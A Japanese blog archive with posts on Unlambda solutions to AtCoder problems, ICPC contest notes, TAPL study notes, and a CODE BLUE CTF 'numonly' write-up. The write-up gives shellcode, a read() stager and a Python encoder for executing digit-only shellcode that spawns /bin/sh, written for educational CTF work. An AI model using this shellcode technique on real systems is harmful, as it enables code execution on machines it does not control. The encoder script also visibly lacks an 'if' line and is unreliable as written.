AtCoderに登録したら解くべき精選過去問 10問のうち3問をUnlambda で解いてみた(またはTSGコードゴルフ大会の宣伝)

宣伝

4/30に、TSG主催の第四回コードゴルフ大会
tsg.connpass.com
が開かれます。第一~第三回まではサークル内メンバーでの対抗戦でしたが、今回は(多分新歓もかねて)東大生ならだれでも参加できるようになりました!esolangの腕に覚えのある方、esolang沼に足を踏み入れてみたい方など、興味のある人はぜひ上のconnpassリンクから参加してみてください。

本題

https://beta.atcoder.jp/contests/abs を解くシリーズのやつです。

提出可能言語の中に、Brainf*ckと並んでUnlambdaが存在していたので、Unlambdaの勉強もかねて挑戦することにしました。

Unlambdaについて

いわずとしれた関数型esolangの大御所。 公式の解説は長くてかったるいので、http://wada314.jp/tcf/unlambda/ などのほうが読みやすいと思います。インタプリタhttps://inazz.jp/unlambda/ が便利*1でよいです。

Unlambdaの書き方

基本的に、通常のλ式でプログラムを書いた後、それをコンビネータに直します。

以下、N M などはλ式[M]Mコンビネータに変換したものを表すことにします。

λ式からコンビネータへの変換方法は、

(1) [M N] => [M] [N]
(2) [λx.x] => I
(3) [λx.y] => K y     
(4) [λx.M] => K [M] (xはM中に自由に出現しない)
(5) [λx.M N] => S [λx.M] [λx.N] 
(6) [λx.λy.M] => [λx.[λy.M]]   ([λy.M] はなにがしかのコンビネータになるので、3か5に落ちる)

となります。 (4) がなくても帰納法は回りますが、これをしないと変換後の項が爆発的に増大してしまいます。

Unlambdaを書く際の注意(というか僕がめっちゃ詰まったところ)

Unlambda の評価規則は直観的ですが、通常のλ式を Unlambda に直すととたんに非直観的な評価をされるようになります。

Unlambda において、 M N は、『 M を正規形M'まで簡約 』→『 N を正規形N'まで簡約 』 → 『 M' N' を正規形まで簡約 』 の順に簡約されます。

このとき、(λx.M) Nコンビネータに変換すると [(λx.M)] [N] となるので、もしMの中に簡約可能な部分が存在する場合、そちらが先に評価されてしまいます!!

たとえば、おなじみYコンビネータ*2λf.(λx. f (x x)) (λx. f (x x))) ですが、これをそのままコンビネータに変換して使用すると、 (Y f) x → f (Y f) x → f (f (Y f)) x と簡約されてしまい、ここだけで無限ループに陥ってしまいます。通常はこれをZコンビネータ λf.(λx. f λy.(x x y)) (λx. f λy.(x x y)) にすることによって解消しますが、今回はλ抽象の内側が先に簡約されるので、どちらにせよ無限ループに陥ってしまいます。*3

そこで、Unlambdaのプリミティブであり評価順を変更するd演算子で包んで、これを解決します。すなわち、Y コンビネータ λf.(λx. f (d (x x))) (λx. f (d (x x))) としてやると、

Y f ≡ (λf.(λx. f (d (x x))) (λx. f (d (x x)))) f → 
         (λx. f (d (x x))) (λx. f (d (x x))) → 
         f (D (λx. f (d (x x))) (λx. f (d (x x))) ≡ f (D (Y f))

となって、d より内側が簡約されないので、無限ループにならずにすみます。

また、IOの評価タイミングにも注意が必要です。たとえば、1文字読み込んで~~~ みたいなやつを、単純に Y (f. x. @ I ~~~) みたいにかくと、 xの適用より先に @ I が簡約されてから再帰が展開され、読み込みが1回しか起こりません。そこで、たとえば、 Y (f. x. K I x @ I ~~~) とすると、 x が適用されるまでは @が簡約されないので、ちゃんと動くようになります。

高速化について

自然数のencoding

通常のチャーチエンコーディング λs. λz. s (s (s ... (s z)) を用いて自然数を実装すると加算に O(n) かかってしまうので、
irori.hatenablog.com
の手法を参考にして、v終端のリストで表現するようにしています。 その他、加算などもこの記事を参考にしました。

その他のTips

λx. λy. x を上の手順でコンビネータに変換すると、

[λx. λy. x] = [λx. [λy. x]] = [λx.K x] = S [λx.K] [λx.x] = S (K K) I

となってしまいますが、明らかにこれは K と等価なので、 K に変換するようにしています。

実践例

λ式っぽく書いたやつをUnlambdaのコードに変換するスクリプトRuby*4実装しました。ソースコードは、 https://github.com/satos---jp/lambda_implementation の unlambda_ruby 内にあります。

以下に貼っているのはUnlambdaに変換する前のオレオレλ記法*5ソースコードです。

ABC081A Placing Marbles

https://beta.atcoder.jp/contests/abs/submissions/2297587

(a. b. c. a
	(b 
		(c .3 .2)
		(c .2 .1)
	)
	(b 
		(c .2 .1)
		(c .1 .0)
	)) ($iv2tf (@ ?1)) ($iv2tf (@ ?1)) ($iv2tf (@ ?1)) I

($iv2tf (@ ?1)) は 入力を1文字受け取り、 '1'なら true を、 そうでないなら false を返す関数です。

ABC086A Product

https://beta.atcoder.jp/contests/abs/submissions/2297608

(ri. z. ($iseven (ri z)) $t ($iseven (ri z)) (i. i .E .v .e .n) (i. i .O .d .d) I I)
	$read_int *0

PracticeA はじめてのあっとこーだー

Submission #2293682 - AtCoder Beginners Selection

K ((ri. $print_int ($add (ri *0) ($add (ri *0) (ri *0)))) $read_int) 
	(.g I) (Z (f. i. @ (x. | x f i)) I)

と、ここまではよかったんですが...

ABC081B Shift Only

Submission #2345160 - AtCoder Beginners Selection
約 2100 msec でTLE

ABC049C 白昼夢 / Daydream

Submission #2345136 - AtCoder Beginners Selection
約 2700 msec でTLE

となって、どちらも微妙にTLEしてしまいます。AtCoderのTLE厳しくないですか???

どうにかして縮めようとしましたが、なんだかもうどうしようもなくなってしまった*6ので、かわりに適当なA問題を通してUnlambdaのsolved数1位を奪取しました。

まとめ

Unlambdaを使うと、AtCoderのA問題は解けるが、B,Cを解くにはTLEが厳しい。

再度宣伝

4/30に、TSG主催の第四回コードゴルフ大会
tsg.connpass.com
が開かれます。興味のある人はぜひ上のconnpassリンクから参加してみてください!

*1:サイトの下にチートシートがある。簡約を1ステップごとに表示してくれる。

*2:再帰関数の実現に必要なすごいやつ

*3:これに更に逆η変換を施しても結局は先に簡約されてしまうので、逆η変換では対処しきれなくなる

*4:大学入ったころはrubyを触っていたけれども、endを書くのが面倒だったりしてpythonを主に用いるようになってしまった......

*5:Unlambdaのコードを貼っても読めないであろうためこっちを貼りました。(まぁオレオレ記法も読めない気がするけども)

*6: これを読んだあなた。どうか代わりにACしてください。 それだけが私の望みです。

CODE BLUE CTF 2017 numonly のwriteup

この記事は、TSG Advent Calendar 2017 - Adventar の7日目の記事として書かれました。昨日はmoratorium08さんの
moraprogramming.hateblo.jp でした。

このあいだ CBCTF であったnumonlyのwriteupです。

問題概要

int check(char* s,int ls){
	for(int i=0;i<ls;i++){
		if(s[i]< '0' || '9' < s[i]){
			return 0;
		}
	}
	return 1;
}

int main(){
  void* s = mmap2(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  //大きさ0x1000のRWXな領域を確保する
  int ls = read(0,s,0x1000);
  if(check(s,ls)){
    ((void*()())s)();
  } else {
      puts("invalid input");
  }
}

みたいな感じで動くバイナリが与えられて、同じものがサーバで動いてるのでよろしくやってくれ。

解説

「よろしくやってくれ」ですが、pwn問(今回はmiscでしたが)の最終的な目標は、たいてい、「同じフォルダ内にあるflag.txtの中身を読む」ことです。 今回は、自分の送ったシェルコードをそのまま実行してくれるので、うまいことシェルコードを書けばよいことになります。
この問題の本質は、そのシェルコードに数字しか使えないことです。 例えば、alphanumeric shellcode (参考: http://inaz2.hatenablog.com/entry/2014/07/11/004655 ) というやつがあって、これはエンコーダがmetasploitに入ってたりするのでそれをそのまま使えばいいわけですが、今回は 0x30-0x39しか使えません。よって自分でエンコード方法を考えることになります。

思考

オペコード表(http://a4lg.com/tech/index.html 見やすい。いつもお世話になっています。)によると、使えそうな命令は xor と cmp くらいです。*1

このため、まずシステムコールを呼ぶ(0xcd 0x80)ことができません。 こういう場合、入力を前半部分のAと後半部分のBに分け、AでBの部分をstagerに整形したあと、Bでstagerを呼ぶ、ということをするのが常套手段ですが、 xorだけでは、byteの上半分が0x3か0x0の値しかとれないので、まだシステムコールを呼べません。

更に表の 0x00 ~ 0x0f までをみると、add と or が使えることが分かります。 addを用いれば、 0x08 から 0x10,0x20,0x40,0x80 を作ることができ、これとxorを組み合わせると任意の値を作ることができるはずです。 すなわち、入力を前のA,真ん中B,最後のCに分けて、AででBの部分にadd命令を作り、BでCの部分をshellcodeに整形し、Cでshellcodeを呼ぶ、とすれば可能であることが分かります。

実装

解けうることが分かったからといって、実装するのは大変です。
まず、実際に使う命令を選定する必要があります。xorが使えるといっても、 命令の即値部分やmod r/m *2 を数字にしないといけないので、xorのうちでも更に限られてきます。

命令の中身はだいたい先頭2byteで決まり、今回はパターンが10×10=100程度しかないので、全列挙してどういう命令が使えるか調べてみることにします。

print 'BITS 32'
for i in xrange(10):
	for j in xrange(10):
			print 'db 0x%x,0x%x,0x90,0x90,0x90,0x90' % (i+0x30,j+0x30)

の実行結果を hoge.s などに 保存しておいて、

nasm hoge.s; objdump -D -M intel -b binary -mi386 hoge

*3 とすると、各命令がディスアセンブルされます。
今回は、実行開始時にeaxに開始アドレスが入っているため、これを念頭において命令を見ていくと、

  3c:	31 30                	xor    DWORD PTR [eax],esi
  b4:	33 30                	xor    esi,DWORD PTR [eax]
 12c:	35 30 90 90 90       	xor    eax,0x90909030

などが使えそうだということが分かります。よって、eaxのアドレスをxorによってずらしつつ、esiの値を上手に調整してメモリ上の値を調整する必要があります。
これらに加えて、addについて調べてみると、

   0:   03 30                   add    esi,DWORD PTR [eax]

となっていることが分かります。
また、最初のメモリは

mmap2(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)

によって確保されている*4ので、 0x1000 でalignされていることがわかります。
ここで、 xor eax,imm の imm の部分の各桁には 0x30~0x39 の値しか使えないので、eaxの参照できるアドレスは 0x000~0x00f, 0x100~0x10f ... 0x900~0x90f のみになります。

これらよりコードの構成を考えると、例えば

0x000 ~ 0x1ff :: 0x200~0x20f ... 0x500~0x50f において addが実行されるように整備する
              :: その後、 shellcode の4bit目を整備する

0x200 ~ 0x20f :: esiを 0x08 -> 0x10 にする
0x210 ~ 0x2ff :: shellcodeの上から3bit目を整備する

......

0x500 ~ 0x50f :: esiを 0x40 -> 0x80 にする
0x510 ~ 0x5ff :: shellcodeの上から0bit目を整備する

0x600 ~ 0x60f :: shellcodeの上部分 の下3bitを合わせたもの
0x700 ~ 0x70f :: shellcodeの下部分 の下3bitを合わせたもの

0x800 ~ 0x80f :: esiの値の変更に使う空地
0x900 ~ 0x90f :: esiの値の変更に使う空地

というふうに実行するという作戦が立ちます。
addの部分は、いろいろ実験してみると、

\x33\x30\x38\x38\x38\x30

となっているときに、 1byte目と2byte目に合わせて 0x30303030 をxorすると、

\x03\x30\x38\x38\x08\x30

となり、これは命令列として

   0:	03 30                	add    esi,DWORD PTR [eax]
   2:	38 38                	cmp    BYTE PTR [eax],bh
   4:	08 30                	or     BYTE PTR [eax],dh

となっているので、これでいいかんじにaddができるようになります。(cmpとorは実質nopの役目)


これらをまとめて実際にコードを書いてみたのが、以下のものです。

まずstager(これについては補足を参照)として

BITS 32

global _start
_start:
	call near fir
fir:
	mov bl,1
	pop ecx
	mov dx,0x100
	xor eax,eax
	mov al,3
	int 0x80

をstager.sとして保存してnasmでコンパイルしておき、
シェルコード本体として

BITS 32

xor edx, edx
push edx
jmp short arg0
fir:
pop ebx
push ebx
mov ecx, esp
xor eax, eax
mov al, 11
int 0x80
call near fir
db "/bin/sh"
db 0

x86-execve.sとして保存してnasmでコンパイルしておき、

#coding: utf-8

with open('stager','rb') as fp:
	s = fp.read()

print len(s)

s = map(ord,s)
s = map(lambda x: x ^ 0x30,s)
print map(hex,s)

#値の生成は、0x909でやっていく。
#シェルコードは、0x600~0x607,0x700~0x709 でやる。
dat = map((lambda (i,c): (0x600+i if i < 8 else 0x700+(i-8),(c^0x30))),enumerate(s)) 

xor_esi_eax = '\x33\x30'
xor_eax_esi = '\x31\x30'

def hex2s(x):
	s = ''
	for i in xrange(4):
		s += chr(x % 256)
		x /= 256
	return s

def xor_eax(x):
	return '\x35' + hex2s(x)

#npが現在のeaxの値。
#vsにシェルコードを連結していく

np = 0x0
vs = ''

#現在のeaxの値をpに変更する
def toeax(p):
	global np,vs
	v1,v2 = 0,0
	for i in xrange(4):
		d = ((p ^ np) >> (i*8)) & 0xf
			c1,c2 = d,0
		else:
			c1,c2 = d-8,8
		v1 |= (c1 | 0x30) << (i*8)
		v2 |= (c2 | 0x30) << (i*8)
	tp = np ^ v1 ^ v2
	if tp != p:
		assert ('%x -> %x cannot do it' % (np,p))
	np = tp
	vs += xor_eax(v1)
	vs += xor_eax(v2)

toeax(0x800)
vs += xor_esi_eax #esiに0x30303030

#0x200~0x20f ... 0x500~0x50f の命令列をaddに変更する。
for i in xrange(4):
	tk = 0x100 * (i+2)
	for d in [0,1]:
		toeax(tk+d)
		vs += xor_eax_esi

#簡便のため、いったんシェルコード部分の上位を0x00にする
for p in [0x600,0x604,0x700,0x704,0x708]:
	toeax(p)
	vs += xor_eax_esi

#シェルコードの4ビット目を整形する
# 0x804 に0x8を準備しておいて、そこから値をとってくる

toeax(0x804)
vs += xor_esi_eax #esiに0x8
for p,c in dat:
	if c & 0x8:
		print 'xor',hex(p),0x8
		toeax(p)
		vs += xor_eax_esi

#ここまで、下4bitは整形

#esiの値を、0x8 -> 0x10 -> 0x20 -> 0x40 -> 0x80 にする
#0x900からを贅沢に使ってええやろ

for i in xrange(4):
	toeax(0x900+i)
	vs += xor_eax_esi
	vs += xor_esi_eax
	vs += xor_eax_esi
	toeax(0x800)
	vs += xor_esi_eax
	toeax(0x900+i)
	vs += xor_esi_eax
	
	#ここで、 add esi,[eax] したい
	ap = 0x100 * (i+2)
	if len(vs)>ap:
		raise ('too long %x at %d' % (len(vs),i))
	
	# この直後が addの場所になるように、実質nopな命令を入れる
	if len(vs)%2 != ap % 2:
		vs += '\x39\x34\x40' # 39 34 90             	cmp    DWORD PTR [eax+edx*4],esi
	vs += '\x38\x38' * ((ap-len(vs))/2) # cmp    BYTE PTR [eax],bh
	
	# ここが 前の命令によって最終的にaddになる
	vs += '\x33\x30' + '\x38\x38' + '\x38\x30' 
	# add esi,[eax] ; 0x03 0x30
	# nop
	# or     BYTE PTR [eax],dh ; 0x8 0x30
	
	toeax(0x800)
	vs += xor_esi_eax
	toeax(0x900+i)
	vs += xor_eax_esi
	toeax(0x800)
	vs += xor_esi_eax
	
	#これで、esiの値が前回の2倍になってるはず。	
	for p,c in dat:
		if c & (0x10 << i):
			toeax(p)
			vs += xor_eax_esi
	print hex(len(vs))

#これでできたはず。

#シェルコードを 0x600~0x608,0x700~0x707に埋める
vs += '\x30' * (0x600-len(vs))

for _,c in dat[:8]:
	vs += chr(0x30 + (c & 0x7))

vs += '\x30' * (0x700-len(vs))

for _,c in dat[8:]:
	vs += chr(0x30 + (c & 0x7))


vs += '\x30' * (0x800-len(vs))

#0x8を採るために、0x804をこうしておく。

vs += '00008000'

vs += '\x30' * (0x1000-len(vs))

#stagerに注入されるシェルコード
with open('x86-execve','rb') as fp:
	pay = fp.read()

# numonlyシェルコード + nopスレッド + execveシェルコード
with open('attack','wb') as fp:
	fp.write(vs) # + '\x90' * (0x100-18) + pay)

pythonで実行してできたattackの中身を送ると、実際にシェルを立ち上げることができるはずです。

補足

nasmとかの使いかた

上で書いたアセンブラコードは、全てnasm(http://www.nasm.us/)でアセンブルできるものです。以下、32bitのもののコンパイル方法の説明ですが、64bitの場合は32を適宜64に入れ替えてください。

アセンブラの書いたファイルを hoge.s とします。 nasm hoge.s とすると、hoge という「命令列をそのままバイナリにしたファイル」ができあがるので、 xxd などでバイト列がどうなっているかを確認できたり、そのままサーバに流し込んだりできます。 nasm hoge.s -f elf32 とすると hoge.o というオブジェクトファイルができるので、これを gcc -m32 hoge.o -nostdlib などとしてコンパイルすることにより、実行可能ファイルができ、実際の挙動を確認することができます。

hoge.s の中身ですが、たとえば

BITS 32
section .text
global _start

_start:
	実行したい命令列

とすると、命令列のテストをすることができます。

stagerについて

「同じフォルダ内にあるflag.txtの中身を読む」についてですが、これを行う手段はおおまかに2つあって、「execveを用いて新たににshellを立ち上げる」と「openやreadを用いる」です。 これらをそのままやってしまってもいいですが、それだとエンコードするべきシェルコードの長さが長くなってしまうので、 代わりにshellcodeの長さが短くて済むstagerというものがあり、今回はそれを用いています。

stagerの中身は、

read(0,今のeip(rip)が指している場所あたり,大きな数);

を実行するシェルコードです。これによって、入力制限を迂回して真のシェルコードを送り込むことができます。これを実行すると、実行しようとしている命令近辺に自分の入力をcheckなしで流し込むことができます。

eip(rip)を得る方法

今回など、eax(rax)などの一般レジスタにeip(rip)の値が入っていることもありますが、そうでない場合、自分でeaxを得る必要があります。eip,ripは、ほかのレジスタと違って、movなどによってレジスタの値を動かすことができません。この場合、call命令を使って直後に飛んで一旦スタックにeipを積んだ後、それをpopで適当なレジスタに得ればよいです。


明日の記事は(null)さんの(null)です。楽しみですね。

追記

くろごまさんの kurogoma.hatenablog.com になりました。めでたい。

*1:seg.SSはプレフィクスというやつで、つけるとメモリアクセスがssセグメントからになるもの。 aaaはadd命令の後にやるとBCD調節してくれるやつだが、add以外の後では意味がない。

*2:modr/mについては http://www.wdic.org/w/SCI/ModR/M を見たりいろいろ調べたりすると良い。手でいろいろ試してみて調節してもよいが理解しておいたほうが逆アセンブルガチャを引かなくてすむのでよい

*3:命令列のみのバイナリが得られた場合、 objdump -D -M intel -b binary -mi386 などをすると、バイナリをそのままディスアセンブルしてくれて便利です。

*4:こういうのは地道に逆アセンブラ結果を読むより、straceで実行した結果を参照したほうが簡単に分かります

ICPC2017国内予選参加記

チーム

IS17erのえる氏となたがわ氏と一緒にチームTBDとして出ました。
(わりと急増チームで、チーム名は to be determined の略)
(1年の時はチームtekitoで出てそれなりにいい順位だったので、
チーム名は雑に決めた方がいい成績がとれるというジンクスがありそう?)

結果

7完6位でしたが、学内順位が5位(!?)だったのでなんというかアレ(どうなるんでしょうね)

当日の概要

2限があったので本郷でプラクティスに参加。
2時過ぎに2食に食べにいっていたら、なんやかんやで駒場に着いたのは4時前くらいになってしまった。
Wifiに接続や印刷準備などがぎりぎりになってしまう。

正確な時刻については思い出せないのでスコアボードを参考に。

競技開始

なたがわ氏に印刷しに行ってもらいつつ、える氏と問題について考察したりする。
(というかこの時点でAに走っておくべきだったのだが、「FAとか取れないよね~」とか話していて手をつけていなかったので作戦ミスっぽかった)

A,B,Cはやるだけぽい。Dは簡単そうだが思いつかず。
(こーいう問題は気づくと一瞬なのだろうが思いつくのがつらそうで、僕は思いつきそうにもないのでほっとくことにした)
Eは構文解析。F,Gは不明、Hはどうやら幾何らしそう。
しばらく後にえる氏がAを解き始める。

0:12 Aが通る

同じくBをやってもらう。その間になたがわ氏が帰ってくる。
Fをやりたそうにしていたが、Dが分かんないので聞いてみると、√500≈20なのでmとnの小さい方でべきを回せばいいとのこと。いい話。
なんだかえる氏のBが辛そうな感じになっていたので、Bを印刷してデバッグしてもらうことにして、先にCをじゃっじゃかやっていく。

#include<bits/stdc++.h>

using namespace std;

#define rep(i,n) for(int i=0;i<(n);i++)

#define reg(i,a,b) for(int i=(a);i<=(b);i++)

int h,w;
int d[15][15];
int main(){
	for(;;){
		scanf("%d%d",&h,&w);
		if(h==0)break;
		rep(y,h){
			rep(x,w)scanf("%d",&d[y][x]);
		}
		
		int ans = 0;
		rep(u,h){
			reg(s,u+2,h-1){
				rep(l,w){
					reg(r,l+2,w-1){
						
						int mw=100;
						int yn=0;
						int mab=0;
						reg(y,u,s){
							reg(x,l,r){
								int p = d[y][x];
								if(y==u || y==s || x==l || x==r){
									mw = min(mw,p);
								}
								else{
									mab = max(mab,p);
									yn += p;
								}
							}
						}
						
						//printf("%d %d %d %d : %d %d %d\n",u,s,l,r,mw,yn,mab);
						if(mab>=mw)continue;
						ans = max(ans,(s-u-1)*(r-l-1)*mw-yn);
					}
				}
			}
		}
		
		printf("%d\n",ans);
	}
	return 0;
}
0:41 Cが通る。

Bのバグがとれたそうな。めでたい。

0:47 Bが通る。

Dをエイヤと書く。

#include<bits/stdc++.h>

using namespace std;

#define rep(i,n) for(int i=0;i<(n);i++)

#define reg(i,a,b) for(int i=(a);i<=(b);i++)


int h,w;

char s[505][505];

int bd[505];


int dp[2][1<<23];

int nb[505];
int main(){
	for(;;){
		scanf("%d%d",&h,&w);
		if(h==0)break;
		rep(y,h){
			scanf("%s",s[y]);
			int nb=0,t=1;
			rep(x,w){
				if(s[y][x]=='1')nb+=t;
				t*=2;
			}
			bd[y]=nb;
		}
		if(h>w){
			memset(dp,-1,sizeof(dp));
			dp[0][0]=0;
			int p = 0;
			rep(y,h){
				int b = bd[y];
				rep(i,1<<w){
					dp[1-p][i]=dp[p][i];
					int f = dp[p][i^b];
					if(f<0)continue;
					dp[1-p][i]=max(dp[1-p][i],f+1);
				}
				p = 1-p;
			}
			
			printf("%d\n",dp[p][0]);
		}
		else{
			int ans=0;
			rep(i,1<<h){
				memset(bd,0,sizeof(bd));
				int ns=0;
				rep(y,h){
					if(i&(1<<y)){
						ns++;
						rep(x,w){
							bd[x] ^= ((s[y][x]=='1')?1:0);
						}
					}
				}
				
				int ok=0;
				rep(x,w){
					ok+=bd[x];
				}
				if(!ok){
					ans=max(ans,ns);
				}
			}
			printf("%d\n",ans);
						
		}
	}
	return 0;
}

途中、dp配列を[505][1<<26] くらいで取ろうとすると.bssに収まらないと怒られたりした。

1:06 Dが通る。

書いている間になたがわ氏がFの考察をめっちゃ進めている。
どうやら各ビットについて独立にみればよいそうな。
なたがわ氏にFを書いてもらっているうちに、GとEについて考える。

える氏と考えてみるが、Gはどうやら貪欲に右手法をやればよさそうという結論に落ち着く。
(G問題にしてはやるだけでは??と思うが2人ともいけそうと思っているので、嘘解法ではないっぽそう)
マスを通る際に進んだ向きを保存しておけば自動的に経路復元できるっぽいと思いついて実装のめどが立つ。

Eは、構文解析は気合だが、最小論理式の生成がすぐには思いつかない。
なんか小さい方から生成してくんだろうけど計算量が見当もつかず。

なたがわ氏がFを書いたが、なんかバグってるっぽいので印刷してもらって、そのうちにGをやっていく。
適宜なたがわ氏のFと交代しつつGをセイヤとやる。

#include<bits/stdc++.h>

using namespace std;

#define rep(i,n) for(int i=0;i<(n);i++)

#define reg(i,a,b) for(int i=(a);i<=(b);i++)


int h,w;


char dat[55][55];
 

int dy[4]={0,1,0,-1};
int dx[4]={-1,0,1,0};


int dir[55][55];


int gone[55][55];

int main(){
	for(;;){
		scanf("%d%d",&h,&w);
		if(h==0)break;
		rep(y,h){
			scanf("%s",dat[y]);
		}
		
		memset(dir,-1,sizeof(dir));
		int y=0,x=0,d=1;
		for(;;){
			int ok=0;
			reg(i,-1,2){
				int td = (d+i+4)%4;
				int ty=y+dy[td];
				int tx = x + dx[td];
				if(ty<0 || ty>=h || tx<0 || tx>=w)continue;
				if(dat[ty][tx]=='#')continue;
				dir[y][x]=td;
				x = tx; y=ty; d=td;
				ok=1;
				break;
			}
			if((!ok) || (x==0 && y==0))break;
			
		}
		/*
		rep(y,h){
			rep(x,w){
				printf("%2d%c",dir[y][x],x+1==w?'\n':' ');
			}
		}*/
		memset(gone,0,sizeof(gone));
		
		bool ans = true;
		y=x=0;
		d=dir[0][0];
		for(;;){
			gone[y][x]=1;
			//printf("%d %d %d\n",y,x,d);
			if(d<0){
				ans=false;
				break;
			}
			int ty=y+dy[d];
			int tx = x+dx[d];
			if(ty==0 && tx==0)break;
			if(gone[ty][tx]){
				ans=false;
				break;
			}
			x = tx; y = ty;
			d = dir[ty][tx];
		}
		//printf("%d\n",ans);
		rep(y,2)rep(x,2){
			if(!gone[y*(h-1)][x*(w-1)])ans=false;
		}
		
		puts(ans?"YES":"NO");
	}
	return 0;
}
1:44 Gが通る

なたがわ氏がバグを直したぽい。めでたい。

1:52 Fが通る。

Eの方針が固まる。
論理式の値のとりかたは2^16パターンなので、
各パターンに対して必要な項の長さを小さい方から求めておけばいいぽい。
で、各項をパターンに落とし込んだ後、パターンに対応する長さを返せばよさそう。気合で書く。
(このへん、なたがわ氏もえる氏も幾何は苦手で、Eのコーディングでも見てるか~
といった感じだったのだが、結果的にはHの考察を進めておいた方がよかったですね...)

書いてる途中、xorやandの遷移で2^16かかりそうに思ってぞっとしたが、
まあ枝刈りされるし大丈夫やろと思って書くと存外しゅっと動く。
サンプルが合っているので出す。が、WAる。
テストケースを見てみると、明らかに元の式より長いのが出力されている。
(一見テストケースが強そうに見えたので確認しなかったのだが、 ここで確認しておけば1200変わっていたのかと思うと非常に悔やまれる)

ダイクストラで、突っ込む前に距離を更新してるのに、取り出すときに距離チェックをしすぎるやつをやっていたので修正。

#include<bits/stdc++.h>

using namespace std;

#define rep(i,n) for(int i=0;i<(n);i++)

#define reg(i,a,b) for(int i=(a);i<=(b);i++)

typedef string::iterator sta;


int dat[6][2]={
	{'0',0},
	{'1',(1<<16)-1},
	{'a',-1},
	{'b',-1},
	{'c',-1},
	{'d',-1}};
	

int expr(sta& s){
	//printf("%c ",*s);
	rep(i,6){
		if(*s==dat[i][0]){
			s++;
			return dat[i][1];
		}
	}
	
	if(*s=='-'){
		s++;
		return ((1<<16)-1)^expr(s);
	}
	else{
		s++;
		int a = expr(s);
		char c = *s;
		s++;
		int b = expr(s);
		s++;
		
		if(c=='^')return a ^ b;
		else return a & b;
	}
}

int dp[1<<16]={};


typedef pair<int,int> mp;

int main(){
	rep(i,4){
		int b = 1,nb=0;
		rep(j,1<<4){
			if((1<<i)&j){
				nb += b;
			}
			b*=2;
		}
		dat[i+2][1]=nb;
	}
	
	 int dpn=0;
	 
	 priority_queue<mp,vector<mp>,greater<mp> > que;
	 
	 rep(i,6){
	 	que.push(mp(1,dat[i][1]));
	 }
	 
	 while(!que.empty()){
	 	mp pa = que.top();
	 	que.pop();
	 	int ls = pa.first;
	 	if(ls>17)break;
	 	int t = pa.second;
	 	if(dp[t]>0 && dp[t]<ls)continue;
	 	dp[t]=ls;
	 	//printf("%d %d\n",t,ls);
	 	//dpn++;
	 	//if(dpn>(1<<16))break;
	 	
	 	int t1 = ((1<<16)-1)^t;
	 	if(dp[t1]>0 && dp[t1]<=ls+1){
	 	}
	 	else{
	 		dp[t1]=ls+1;
	 		que.push(mp(ls+1,t1));
	 	}
	 	rep(i,1<<16){
	 		if(dp[i]==0)continue;
	 		//printf("ni %d ",i);
	 		int tls = ls + dp[i] + 3;
	 		int ts[2];
	 		ts[0]=t^i;
	 		ts[1]=t&i;
	 		rep(j,2){
	 			int& f = dp[ts[j]];
	 			if(f==0 || f>tls){
	 				f=tls;
	 				que.push(mp(tls,ts[j]));
	 			}
	 		}
	 	}
	}
	
	//puts("init");
	
	for(;;){
		string s;
		cin >> s;
		if(s[0]=='.')break;
		sta sa = s.begin();
		int x = expr(sa);
		//printf("%d\n",x);
		printf("%d\n",dp[x]);
	}
	
	return 0;

}
2:20 Eが通る

このへんで、7完したのでどうにかやったやろという気持ちが強くなっていたが、どうやらそうでもないっぽいのでHをやっていく。
(というか当初は幾何までもつれ込むとは思っていなかった)

Hの方針は全部試せばいいらしくて、平行や線分交差とかをできればよいとのこと。
しかし、へたにライブラリを半写しの状態で書こうとしたり、ほかにも途中に微妙に嘘解法であることが分かったりして、結局書ききれなかった。

コンテスト終了

後半ずっとコーディングをしていたので、戦況がどういう状況かが分かっていなかったのだが、順位表を見ると全体6位にもかかわらず東大内5位とのこと。
(聞くところによると、終了4分前(!!)くらいにshurikenがGを通したらしく抜かれたぽい。 あと、catsatmatとは42秒差(!!)だったらしく)

他のチームのHを見せてもらったのだが、ライブラリ部分がとても短かったので、もっと幾何ライブラリを写しやすさに特化させるべきという気持ちになる。
(自分のものは、コピペで使えるなら便利なのだがとても冗長だった)




急造チームにもかかわらずわりとメンバーの能力がマッチしていて望外の順位を取ることができた。
が、なんというかさまざまな面で作戦ミスがあったのでやはりICPCは難しいですね。

アジア地区予選に出てみたいな~

TAPLを読む会(8~12章)

8章 型付け関係

NBに対して型をつけてみる。

  • 型付け関係の逆転(逆転補題)(生成補題) 項を型付けるためのアルゴリズムを与える。(部分型とかが入ってくるとこれが大変になる…かな?)

  • 進行性 項が正しく型付けられているなら、正規形->値(標準形)が成り立つ。

  • 保存性 項が正しく型付けられているなら、項の評価は項の型を変えない。

これらの性質は後々でも保たれるように頑張る。

8.3.4~8.3.8のあたりの答えは考えておいたほうが理解の足しになりそう。

9章 単純型つきラムダ計算

ラムダ計算にとりあえず型をつけてみる。

9.1 関数型

関数に型をつける際に一番適切そうな型の定義は T ::= T -> T である、という話。

9.2 型付け関係

型推論をさせるには型再構築とかそのへんをする必要があるので、22章を待つ必要がある。 とりあえずはλ抽象時に型を付けることにする。(C言語とかはそうですね) 例えば、λx:Bool,λy:Nat,(if x then y else (succ y)) において、 (if x then y else (succ y))の型をつけるには、x,yの型を知っている必要があって、 そのために「型環境」という概念が出てくる。 で、T-VAR,T-ABS,T-APPが導入される。(項tの帰納的定義に対応している)

9.3 型付け関係

8.3と同じ手順ですね。

9.4 Curry-Howard対応

9.4.1が分かんねぇ…(predとsuccについて)

9.5 型消去と型付け可能性

9.5.2.(2)はわりと非自明に思える。

10章 単純型のML実装

やってねぇ…

11章 単純な拡張

Unit -> let -> pair,record -> sum,variant -> fix -> List の順番で導入する。 プログラミング言語を実装している感じ。

11.1 基本型

簡便のため基本型Aを導入する。まああんま使わない。 ちゃんとした恒等関数とか二回適用関数を作るには、「自由な型を代入できる」23章の全称型を待つ必要がありますね。

11.2 Unit型

11.3 派生形式 : 逐次実行とワイルドカード

派生形式の例として逐次実行を導入する。 糖衣構文(もしくはマクロ)かそうでないかという話。

11.4 型指定

部分型付けをする際にちらっと出てくる(p151とか)のでその伏線ですね。

11.5 let束縛

T-LETを使って導出する際は、T_1をエスパー(まあ分かるのだけれど)して導かないといけない。 第22章のlet多相では、これを利用して多相型を表現したりする。(というかこの時点で多相型を表現できていそう)

11.6 二つ組

11.7 組

11.8 レコード

